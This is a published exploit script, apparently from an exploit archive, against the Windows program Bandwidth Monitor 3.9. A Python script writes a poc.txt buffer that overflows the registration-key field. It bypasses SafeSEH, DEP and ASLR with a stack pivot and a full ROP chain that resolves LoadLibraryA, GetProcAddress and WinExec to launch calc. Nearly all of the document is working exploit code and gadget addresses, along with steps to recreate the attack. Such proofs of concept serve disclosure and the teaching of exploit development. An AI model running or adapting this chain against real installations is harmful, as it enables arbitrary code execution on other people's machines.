# Exploit Title: Bandwidth Monitor 3.9 - Full ROP Buffer Overflow (SEH,DEP,ASLR)
# Exploit Author: Bobby Cooke
# Date: June 7th, 2020
# Vendor Site: https://www.10-strike.com/
# Software Download: https://www.10-strike.com/bandwidth-monitor/bandwidth-monitor.exe
# Tested On: Windows 10 - Pro 1909 (x86)
# Version: version 3.9
# Exploit Details:
# 1. Bypass SafeSEH by overwriting the Structured Exception Handler (SEH) with a Stack-Pivot return address located in the [BandMonitor.exe] memory-space; as it was not compiled with the SafeSEH Protection.
# 2. The Stack-Pivot will land in a RET Sled; as the process's offset on the Stack is different every time.
# - StackPivot lands at a different offset, 1:660; 2:644; 3:676; 4:692; 5:696; 6:688; 7:692
# 3. Bypass Address Space Layout Randomization (ASLR) & Data Execution Protection (DEP) using Return Orientation Programming (ROP), choosing Gadgets from the [ssleay32.dll], [BandMonitor.exe], and [LIBEAY32.dll]; as they are not compiled with Rebase or ASLR.
# 4. A pointer to the LoadLibraryA symbol exists in the import table of the [LIBEAY32.dll] module. Use Gadgets to call LoadLibraryA and find the memory address of the [kernel.dll] module; as it is protected by ASLR and will be different every time the process runs.
# 5. A pointer to the GetProcAddress symbol exists in the import table of the [LIBEAY32.dll] module. Use Gadgets to call GetProcAddress to find the memory address of the WinExec Symbol within [kernel32.dll].
# 6. Use Gadgets to call the WinExec Function and open calc.
# - Bad Characters: \x00 => \x20 ; \x0D & \x0A => Truncates buffer
# Recreate:
# Turn On DEP: This PC > Properties > Advanced System Settings > Advanced > Performance > Settings > Data Execution Prevention > "Turn on DEP for all programs and services except those I select:" > OK > Restart
# Install > Run Exploit > Copy buffer from poc.txt > Start BandMonitor > Help > Enter Reg Key > Paste > Exploit
# Base | Top | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Modulename
# -------------------------------------------------------------------------------------------
# 0x12000000 | 0x12057000 | False | True | False | False | False | [ssleay32.dll]
# 0x00400000 | 0x01247000 | False | False | False | False | False | [BandMonitor.exe]
# 0x11000000 | 0x11155000 | False | True | False | False | False | [LIBEAY32.dll]
# -------------------------------------------------------------------------------------------
import struct
OS_retSled = '\x41'*400
retSled = '\x24\x01\x06\x11'*100 #11060124 # retn [LIBEAY32.dll] {PAGE_EXECUTE_READ}
def createRopChain():
ropGadgets = [
# HMODULE LoadLibraryA( LPCSTR lpLibFileName);
# $ ==> > 1106905D CALL to LoadLibraryA
# $+4 > 012428B4 FileName = "kernel32.dll"
0x012126f5, # POP EAX # RETN [BandMonitor.exe]
0x110e70bc, # kernel32!loadlibrarya [LIBEAY32.dll]
0x110495ef, # JMP [EAX] [LIBEAY32.dll]
0x1106905d, # PUSH EAX # POP ESI # RETN [LIBEAY32.dll]
0x012428B4, # &String = "kernel32.dll\x00"
# EAX&ESI = &kernel32.dll
# FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName);
# $ ==> > 011D53D2 CALL to GetProcAddress
# $+4 > 76C40000 hModule = (KERNEL32)
# $+8 > 0014F6CC ProcNameOrOrdinal = "WinExec"
0x01226010, # PUSH ESP # AND AL, 4 # POP ECX # POP EDX # RETN [BandMonitor.exe] - [move esp -> ecx]
0xfffff2D4, # EDX = Offset2String; ECX = ESP
0x011d53d2, # xchg eax, ecx # ret [BandMonitor.exe] - eax=esp & ecx = "kernel32.dll\x00"
0x11061ea7, # sub eax, edx # ret [LIBEAY32.dll]- eax=&String="WinExec\d4"
0x1106905d, # push eax # pop esi # ret [LIBEAY32.dll] - ESI&EAX="WinExec\d4"
0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,
# (INC EAX # RETN)*7 [LIBEAY32.dll]
0x011f282b, # xor [eax], dl # ret [BandMonitor.exe] - ESI="WinExec\x00"
0x01203a3b, # xchg eax, esi # ret [BandMonitor.exe] - EAX="WinExec\x00"
0x11084dca, # xchg eax, edx # ret [LIBEAY32.dll] - EDX="WinExec\x00"
0x012126f5, # POP EAX # RETN [BandMonitor.exe]
0x110e708c, # kernel32!getprocaddress [LIBEAY32.dll]
0x1109cdb9, # mov eax, ds:[eax] # ret [LIBEAY32.dll] - EAX = &GetProcAddress
0x1106CE04, # mov [esp+8], edx # mov [esp+4], ecx # jmp near eax
0x011d53d2, # xchg eax, ecx # ret [BandMonitor.exe] - ECX=&KERNEL32.WinExec
0xffffffff, # NOP - Overwritten by GetProcAddress Stack Setup
0xffffffff, # NOP - Overwritten by GetProcAddress Stack Setup
# Call WinExec( CmdLine, ShowState );
# CmdLine = "calc"
# ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
0x0106a762, # INC ESI # RETN [BandMonitor.exe] - ESI="calc\x"
0x01203a3b, # xchg eax, esi # ret [BandMonitor.exe] - EAX="calc\xff"
0x1106905d, # PUSH EAX # POP ESI # RETN [LIBEAY32.dll] - EAX&ESI="calc\xff"
0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a, # (INC EAX # RETN)*4 [LIBEAY32.dll]
0x01226014, # POP EDX # RETN [BandMonitor.exe]
0xffffffff, # dl = 0xff
0x011f282b, # xor [eax], dl # ret [BandMonitor.exe] - ESI="calc\x00"
0x01218952, # NEG EDX # RETN [BandMonitor.exe] - EDX=0x01 = SW_SHOWNORMAL
0x01203a3b, # xchg eax, esi # ret [BandMonitor.exe] - EAX="calc\x00"
0x1102ce1f, # xchg eax, ecx [LIBEAY32.dll] - ECX="calc\x00" = CmdLine - EAX=&KERNEL32.WinExec
0x1106CE04, # mov [esp+8], edx # mov [esp+4], ecx # jmp near eax
0x11060124 # retn [LIBEAY32.dll] - ROP NOP
]
return ''.join(struct.pack('<I', _) for _ in ropGadgets)
ropChain = createRopChain()
OS_nSEH = '\x43'*(4188-len(OS_retSled+retSled+ropChain))
nSEH = '\x44'*4
# Stack pivot offset to controllable buffer: 1408 (0x580) bytes
SEH = '\x70\x28\x21\x01' # 0x01212870 : {pivot 2064 / 0x810}
WinExec = '\x57\x69\x6e\x45' # WinE
WinExec += '\x78\x65\x63\xd4' # xec.
calc = '\x63\x61\x6c\x63' # calc
calc += '\xff\x42\x42\x42' # ....
extra = '\x44'*2000
buffer = OS_retSled + retSled + ropChain + OS_nSEH + nSEH + SEH + WinExec + calc + extra
File = 'poc.txt'
try:
payload = buffer
f = open(File, 'w')
f.write(payload)
f.close()
print File + " created successfully"
except:
print File + ' failed to create'
